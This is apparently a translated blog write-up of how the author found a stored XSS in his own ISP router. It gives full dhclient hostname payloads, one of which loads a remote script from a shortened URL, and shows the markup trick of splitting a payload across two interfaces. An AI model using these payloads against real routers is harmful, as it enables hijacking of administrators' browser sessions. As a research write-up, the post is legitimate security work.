最新消息:

看我如何黑掉我的全新网络路由器?

渗透测试 Eternal 530浏览 0评论

背景

最近,我搬到了另一座城市独自生活。根据需要,我开通了在我住所唯一可用的ISP服务。在这里我不得不吐槽,这应该是巴西最差的网络服务提供商之一。

在此之前,我曾成功突破过网络路由器。加之今天我感到非常的无聊,因此我决定对我手头这个全新的路由器“痛下杀手”。

我的第一步是尝试在ping功能上注入命令。结果意料之中,命令并未被执行,但却在输出结果中出现了发送的内容,这使我意识到该路由器可能存在大量的XSS。我回到了ping功能并再次尝试注入,但我发现路由器似乎对我发送的一些特殊字符做了限制,看来这里并不是一个获取XSS的好地方,我需要做的是将XSS存储在路由器上。突然一道灵光从我的脑海中闪现,我测试路由器的第一页,这个页面向我展示了DHCP leases(DHCP租约)。该页面包含了每台主机的主机名,IP地址以及MAC地址。也许我可以操纵这里的主机名来发送恶意数据呢?通过Google搜索,我意识到我只需要在dhclient配置文件(/etc/dhcp/dhclient.conf)上做简单的修改就有可能实现。

send host-name = "<script>alert('HACKED')</script>";

悲催的是,一切并没有我想象的那么完美。我打开html源码查看发现,最后一个字符不在那里,因此我断定这里对主机名的长度做了限制不能超过31个字符。为了验证XSS,我删除了HACKED字符串来强制租约,bingo!payload正常被执行。下面,我要做一些更有趣的事情!

我创建了一个payload.js文件,并将其托管在VPS上,我尝试了多种技术试图让浏览器执行该文件的内容,但并没有成功。我通过l.ly来缩短我的网址,但由于“XXX”字符,依然无法执行。

send host-name = "<script src=//l.ly/uXa></script>";

我想我需要购买一个像l.ly这样的短域名,并将我的payload文件命名为1,这样我的问题就将得到解决,但这是不可能的我没那么多钱去购买那样一个域名。经过几个小时的思考,我终于想到了一个完美的解决方案,我唯一需要的就是另一个网络接口,在路由器上创建这个输出。

<tr><td>10</td><td><script src=//l.ly/uXa><!--</td><td>f4:96:34:25:65:c5</td><td>192.168.0.44</td></tr>
<tr><td>10</td><td>--></script></script</td><td>f4:96:34:25:65:c5</td><td>192.168.0.44</td></tr>

我分割了我的2个接口上的payload,第一个接口接收以下payload,

send host-name = "<script src=//l.ly/uXa><!--";

在payload的开始处,有一个HTML注释,会忽略script标签后的所有内容,第二个payload,

send host-name = "--></script>";

我刚刚关闭了注释,并插入script标签的末尾,我强制接口再次lease IP地址和请求,最终我的XSS payload终于被执行了。

dhclient -r && dhclient

router-hacked.png

关于路由器

以下是关于该路由器的一些基本信息:

描述 版本
技术 docsis 3.0
硬件版本 V2.00
软件版本 09.89.17.23.03

 

转载请注明:即刻安全 » 看我如何黑掉我的全新网络路由器?

您必须 登录 才能发表评论!



合作伙伴